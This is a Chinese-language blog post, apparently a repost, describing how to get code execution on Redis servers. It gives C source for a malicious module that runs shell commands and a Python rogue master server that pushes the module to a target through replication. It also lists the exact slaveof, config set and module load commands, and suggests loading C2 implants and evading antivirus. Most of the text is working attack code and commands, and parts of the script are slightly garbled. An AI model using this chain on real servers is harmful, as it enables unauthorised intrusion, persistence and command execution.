Redis模块攻击面
2023-3-18 10:36:38 Author: 仙友道(查看原文) 阅读量:30 收藏

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so/.dll文件,达到代码执行的目的。
  • https://github.com/puckiestyle/RedisModules-ExecuteCommand

Redis模块

在 Redis 应用中,模块机制是提及得比较少的一个功能,主要是 Redis 的功能基本上能应付各种需求,很少需要自己编写模块来扩展功能的。但有时候我们希望为 Redis 提供一些较为高级的功能,比如提供支持回滚的事务功能,这时就需要编写模块来进行扩展。

API

RedisModule_OnLoad()

每个 Redis 模块都需要提供一个 RedisModule_OnLoad() 函数,这个函数是 Redis 加载模块时会调用的函数,也就是说,Redis 加载一个模块时,会调用这个模块的 RedisModule_OnLoad() 函数。
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc);// 第一个参数类型是 RedisModuleCtx,表示模块的上下文,主要用来存放模块的一些基本信息;// 第二个参数类型为 RedisModuleString,表示载入模块时传入的参数列表// 第三个参数类型为 int,表示参数列表的个数。

RedisModule_Init()

在 RedisModule_OnLoad() 函数中一般需要调用 RedisModule_Init() 函数来向 Redis 注册模块。
int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver);// 第一个参数类型是 RedisModuleCtx,表示模块的上下文,主要用来存放模块的一些基本信息;// 第二个参数用于指定模块的名称;// 第三个参数用于指定模块的版本;// 而第四个参数用于指定API的版本;

RedisModule_CreateCommand()

注册完模块后,就可以通过 RedisModule_CreateCommand() 函数来为模块创建命令。
int RedisModule_CreateCommand(RedisModuleCtx *ctx, const char *name, RedisModuleCmdFunc cmdfunc,                              const char *strflags, int firstkey, int lastkey, int keystep);// ctx:就是模块的上下文。// name:用于指定命令的名称,// cmdfunc:用于指定命令的功能函数,也就是当我们调用一个命令时,就会通过调用这个函数来实现具体的功能。// strflags:用于指定命令的功能,比如 write 表示命令对 Redis 进行写操作,而 readonly 表示命令只会读取 Redis 的数据等// firstkey,lastkey,keystep:用于指导 command getkeys 命令获取 keys 列表时使用的,如果不提供这个功能,可以设置为0。

模块编写

注册一个模块exp,创建一个命令exp.e用来执行命令,执行函数为ExecuteCommand,
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {        // 注册模块        if (RedisModule_Init(ctx, "exp", 1, REDISMODULE_APIVER_1) ==                REDISMODULE_ERR)                return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "exp.e", ExecuteCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR) return REDISMODULE_ERR;
return REDISMODULE_OK;}
完成ExecuteCommand功能,即执行命令并获取结果
int ExecuteCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
{…} FILE *fp = _popen(all_cmd, "r"); {…} return REDISMODULE_OK;}
编译生成exp.dll

测试

Module load ./exp.dllExp.e whoamiModule unload exp

延伸利用

将ExecuteCommand方法改为执行上线的loader代码…
执行结果

在这里在延伸一下,如果目标机有杀软,我们是不是可以上传一个redis-server.exe来上线、维权、隐藏自己?从理论上来说都是可行的,可惜redis-server自身没签名,效果可能达不到最好。

恶意redis服务器构建

测试一下slave和master的通信过程
监听本地1234端口
Nc -lvvp 4444
Redis设置主服务器
slaveof 127.0.0.1 1234
通过nc进行模拟Redis主从复制的交互过程,同理,如果构建模拟一个Redis服务器,利用Redis主从复制的机制,那么就可以通过FULLRESYNC将任意文件同步到从节点。

Redis服务端模拟脚本

  • https://github.com/Dliv3/redis-rogue-server
import socketfrom time import sleepfrom optparse import OptionParser
def RogueServer(lport): resp = "" sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind(("0.0.0.0",lport)) sock.listen(10) conn,address = sock.accept() sleep(5) while True: data = conn.recv(1024) if"PING"in data: resp="+PONG"+CLRF conn.send(resp) elif "REPLCONF"in data: resp="+OK"+CLRF conn.send(resp) elif "PSYNC"in data or "SYNC"in data: resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF resp += "$" + str(len(payload)) + CLRF resp = resp.encode() resp += payload + CLRF.encode() if type(resp) != bytes: resp =resp.encode() conn.send(resp) #elif "exit" in data:            break
if __name__=="__main__": parser = OptionParser() parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT")     parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so"default="exp.so",metavar="EXP_FILE")           
(options , args )= parser.parse_args() lport = options.lp exp_filename = options.exp
CLRF="\r\n" payload=open(exp_filename,"rb").read() print "Start listing on port: %s" %lport print "Load the payload: %s" %exp_filename RogueServer(lport)

exploit

构造恶意Redis服务器,监听本地端口21000,加载exp.so或exp.dll。
连接目标redis,设置主服务器为上一步中构造的恶意redis服务器
#设置备份文件名为exp.dll,默认为dump.rdbconfig set dbfilename exp.dll#设置主服务器IP和端口slaveof 192.168.1.1 21000 #加载恶意模块module load ./exp.dll#切断主从,关闭复制功能slaveof no one#执行系统命令exp.e 'whoami'#通过dump.rdb文件恢复数据config set dbfilename dump.rdb

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg3NjYwNDgzMQ==&mid=2247485756&idx=1&sn=2bb1aa4e5ac1b2932168d4b08ff1e665&chksm=cf2ef5ccf8597cdac5d7c37a57873e463560b569d8a63a1e74fe6d9ad41df8425d83f9107404#rd
如有侵权请联系:admin#unsafe.sh